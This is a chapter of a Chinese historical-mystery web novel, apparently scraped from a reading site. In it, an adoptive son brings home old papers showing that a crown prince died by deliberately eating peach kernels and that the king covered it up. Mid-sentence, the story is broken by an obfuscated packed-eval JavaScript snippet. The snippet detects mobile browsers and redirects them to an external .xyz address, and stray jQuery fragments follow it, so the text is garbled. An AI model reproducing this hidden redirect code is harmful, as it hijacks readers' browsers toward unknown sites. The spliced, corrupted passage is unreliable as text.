探臣俱生我执

64. 等待进入网审

    茅舍。


    南一洛轰一下推开房门,大叫道:“义父!”


    南林半躺在床上,就着破窗边的阳光看书,听见南一洛的喊声立刻看去,只见南一洛的手里举着一个沉甸甸的旧木盒子。南林激动地整个人都在颤抖:“拿到了?!”


    南一洛的神情是既兴奋又痛苦,这两种情绪交错在一起让他的脸变得很是怪异。他道:“拿到了!但也在崔在燮那里暴露了......”


    “不用管他!快给我看看!”南林想下床去,但身体原因动得不利索,只好不停催促。南一洛跨大步上前将盒子放到南林手里,南林看他表情怪异,一边打开盒子一边问:“你看过了?”


    南一洛语气沉重:“我看过了。义父...你得先做好准备,那些事情很...很出人意料。”


    “二十多年的准备已经够了!就是再震惊也震惊不到我了。等我仔细看看。”南林颤手取出盒子里厚厚一沓纸,迫不及待阅读起来。


    ......


    崔溥小的时候有个习惯,就是写日记,直到他死也不曾变过。


    之所以喜欢写日记,或许是因为早亡的母亲和废物的父亲而性格孤僻,没有朋友,自然也就没有可以吐露内心的地方,因此他只能将所有的情绪都化作一笔一划的墨迹。


    后来他不爱写日记了,改成了写查案个人志,上面写的全是关于姐姐崔珠和姐夫孝献世子死亡的调查结果和思绪。一写就是到老。


    死亡前五日。


    路过一家赌场,只听得赌场里面闹哄哄的,有人在嘈杂声中大声叫喊:“啊——别抢了!手下留情啊!”


    以往崔溥很少走过这条路,只是往日惯走的道被封了,他只好借这条道。他知这条道路上有家附近郡县男人都爱来的赌场,也来过几次,来的不多。今日,他竟又鬼使神差地走进了赌场。赌场里气氛和温度都热烘烘的,没人在意他。


    崔溥进来时,一个赌徒正被一众人哄抢,身上的衣服都被扒走了,连网巾都被夺了去。方才大叫的就是这名赌徒。


    这赌徒输得只剩下一条裤子了,披头散发地被众人放开后,叫嚷说:“我真不甘心!看相的说我是个一夜暴富的富贵命,我要再赌!上把大的!”


    众人都啧啧嘲笑。一人说:“你身上就剩条裤子了,还拿什么赌!我们可不要你这条臭裤子。你要脱,去外边脱去,我们可不想看你那二两肉!”


    众人哈哈大笑起来。


    赌徒红着脸说:“我家还有东西可以拿来!”


    另一人说:“得了吧老金,你家都已经被你败干净了,哪还有什么东西可以拿来作押的?”


    “我爹!”赌徒说:“我爹他留下来一个传家宝,是个锁箱,他咽气之前就特别宝贝!让我等他死了就拿那玩意给他老人家陪着下葬去,我不小心给忘记了,一直留在家里,又打不开,所以只好留到现在。你们想想,我爹那可是曾经宫里的尚膳大人啊!他宝贝的东西,那肯定是个好宝贝!我拿这个赌!”


    赌众呸道:“你放你爹的大屁!你爹给你留的那间瓦房的瓦都被你给输光了,你有这贵重东西,早不拿晚不拿,到现在咱们赌到最后了才拿出来,鬼才信的你的屁话!赌不起别赌,看你那一副比乞丐还差劲的脸,还什么一夜暴富,依我们弟兄看,明明就是个乞讨至死的面相!”


    赌徒说:“你他娘的又不会看相!那看相的就是这么说的!我爹当年就是看我面相好才收了我的!”


    开盘的人说:“又掰扯你那尚膳爹!只不过是个伺候在德宗大王身边一个没根的家伙而已,你又不是他亲儿子,就是个养子,你一天到晚在骄傲个什么劲!你瞧你那尚膳爹死了,咱们文祖大王有慰问一星半点?”


    赌徒说:“你们侮辱我,就是在侮辱我爹!”


    开盘的人说:“哎唷我这话也是说得刻薄了点,毕竟还是宫里的尚膳,怎么也是个正儿八经的内官,侮辱不得!好,那老子就侮辱你这玩意!你爹是尚膳,那你又算个什么东西?你一没进宫,不敢忍痛割爱舍下你那二两的肉宝贝,二没拿你尚膳爹那留下来的遗产发家,还在这想着靠拿我的钱发财啊?我看你真是讨打了,滚吧,我们这里可不是什么乞丐窝,滚出去!”


    赌徒急得挣扎跳脚,眼看着马上就要被人捉住胳膊丢出去了,这时,人群角落里一道不起眼的声音响起:“和我赌。”


    崔溥说:“我有五两钱。你和我单开一局,赌不赌?”


    赌徒不知道这是哪里冒出来的冤大头,高兴地直点头:“赌!赌!”


    一个人看热闹不嫌事大,说:“这位老大哥上来凑什么热闹,干嘛和这家伙赌啊,是看上这家伙的臭裤子了?还是看上那个破箱子了?”


    崔溥对那赌徒说:“用你爹留的箱子押宝。”


    赌徒迅速答应,兴奋地开盘。一盘过后,输得惨烈,瘫倒在地,被人直接丢了出去。


    崔溥把钱给了开盘的赌场老板,出去扶起赌徒,还没说话,赌徒先泣不成声地说话了:“老兄,你真是个好人。”


    崔溥说:“我是个穷人。你家在何处?我要那箱子。”


    赌徒说:“老子虽然好赌,但从来都是信守承诺,反正那箱子我也打不开,送你得了,一个破木箱子,里面能有啥好东西!多半是我爹一些臭书——但也不一定!说不定有好宝贝,要是金银财宝......唉!都算老兄你的了!你要是想知道里面是什么,直接砸开看看得了!”


    崔溥拿到了破木箱子。不用砸开箱子,只需要砸开锁,因为锁已经腐烂了。里面是一沓带着臭味的纸。


    赌徒大失所望,回自己没有瓦顶和窗户的家去了,第二天被人发现尸体悬在梁下。


    崔溥在自己的茅屋,读这些纸,读了一晚上。


    第一张纸,署名孝献世子。同时,这张纸的背面还紧贴着另一张纸,字迹娟秀,署名是崔珠。


    简而述之。崔珠因调查丈夫之死而被公公德宗下令禁足后,便彻底投身于整理丈夫生前爱不释手翻阅的古籍当中。孝献世子好读史,在书房里集满了各类史书。每每在


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14784044|157869||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    阅读到哪位人物因病而死时,孝献世子总是会在书页中夹留一张字条,备笔注释总是极尽悲哀,言语中透露出自己命不久矣。崔珠将这些书籍细心整理,也在整理自己的哀思。书房太大,过了很久,崔珠才偶然找到一本书。在这本书里,孝献世子留下了他的遗言,称不堪病痛折磨,决心求死。


    天底下没有哪位王位的继承人,会集几乎所有病痛于一身。假使一个人的身体从头至脚几乎无时不刻在遭受折磨,而且被折磨了半辈子,那他相信,换做任何人,都会没有生的欲望的。


    他最后在纸上写道:“我只有一个机会。”


    第二封信,署名崔珠。


    这是一封遗书,是崔珠写给崔溥的。信上,崔珠写尽了所有她生前已经知道的事。她在察看那张世子手记后,将所有手记都找了出来,组合到一起,找出了孝献世子所说的“机会”究竟是什么。


    孝献世子的病情出现了新的症状,经内医院诊治,需要用到一味新药:桃仁。德宗赏赐了很多干果食物给孝献世子,其中便包括桃仁。负责医治世子的御医对孝献世子说:“桃仁食多有毒易亡,需谨慎服用。”孝献世子得知后,某日因数病兼发,不堪忍受病痛折磨,吞食大量桃仁而亡。至于究竟是临时起意,还是早已预谋,已无从得知了。


    崔珠最后在遗书中写道:“此信留与你,小溥。这封信,你要好好保存。无怪我随世子而去。”


    第三封信,署名金尚膳。


    这不知道是写给谁的,没有写收信人,与其说这是一封信,不如说这是一封自言自语的潦草书。


    起初,德宗本以为儿子是遭人毒杀,然而一番调查下来,结果竟是世子吞食桃仁自尽。要是刻薄一点来讲,这是父杀子。就算不这么刻薄地来讲,这桃仁是德宗亲自赐给世子的,世子吞食毒物自尽,完全就是件不光彩的事情。这样的死对于一个国家来说是灾祸,是凶兆。德宗来不及伤心,以治疗和照顾不力为由灭了许多知晓案情的宫人和御医的口,以此隐瞒了下来,并之后对外宣称世子是因病暴毙而亡。


    结果,世子嫔又悬梁死了。最先知道这消息的当然也是德宗,知晓世子嫔留下了暴露事情的东西,德宗便派身边服侍自己多年的尚膳将世子手记和世子嫔遗书取走,令之销毁。然而德宗信任错了人,尚膳没有照他说的做,而是偷藏了起来。


    尚膳写道:“我之所以这样做,只是觉得良心不安。这样的事情连史官都不会记载,后人也不会知晓。但一些事情总要重现天日。”


    崔溥看完了这些,没有像这些人一样留下任何字迹。拼凑出来的荒唐宛如一把又一把的刀凌迟着他的心肝脾肺肾。他立刻修书一封发往全罗道,写完,又不甘心地再看了一遍。不该看的,不知是看到哪个字眼时,崔溥吐出一口血,吐没了最后一口气。


    后边的事,真不知是不是该庆幸崔在燮没有替金尚膳完成德宗交代的任务。


    南林抖如筛糠,眼角泌出一滴泪来,张嘴半天,才磕磕绊绊喊出一句:“————荒唐啊!”